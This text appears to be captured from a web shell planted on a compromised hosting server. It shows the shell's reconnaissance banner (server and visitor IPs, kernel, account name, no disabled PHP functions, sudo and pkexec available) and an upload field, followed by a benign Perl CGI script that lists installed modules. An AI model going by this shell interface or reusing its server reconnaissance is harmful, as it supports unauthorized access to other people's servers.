| Server IP : 79.170.40.229 / Your IP : 3.129.42.198 Web Server : Apache System : Linux web232.extendcp.co.uk 4.18.0-513.24.1.el8_9.x86_64 #1 SMP Mon Apr 8 11:23:13 EDT 2024 x86_64 User : 1stforcarhirealicante.com ( 296923) PHP Version : 5.6.40 Disable Function : NONE MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/thread-self/root/home/phpmyadmin-www/ |
Upload File : |
#!/usr/bin/perl
use strict;
use warnings;
use File::Find;
use File::Spec::Functions;
use CGI;
my $q = CGI->new;
print $q->header();
print "<h1>Perl 5 Modules</h1><br>";
my @modules;
find { wanted => sub { push @modules, canonpath $_ if /\.pm\z/ }, no_chdir => 1 }, @INC ;
@modules = sort { $a cmp $b } map {
s/(.*)\/perl5\///g;
s/(.*)\/lib\///g;
s/(.*)\/blib\///g;
s/^\.//g;
s/^vendor_perl\///g;
s/^cpan\/build\///g;
s/^site_perl\/[0-9\.]*\///g;
s/i386-linux-thread-multi\///g;
s/^[0-9.]*\///g;
s/\//::/g;
s/.pm$//g;
$_
} @modules;
foreach (@modules) {
print $_, "<br />";
}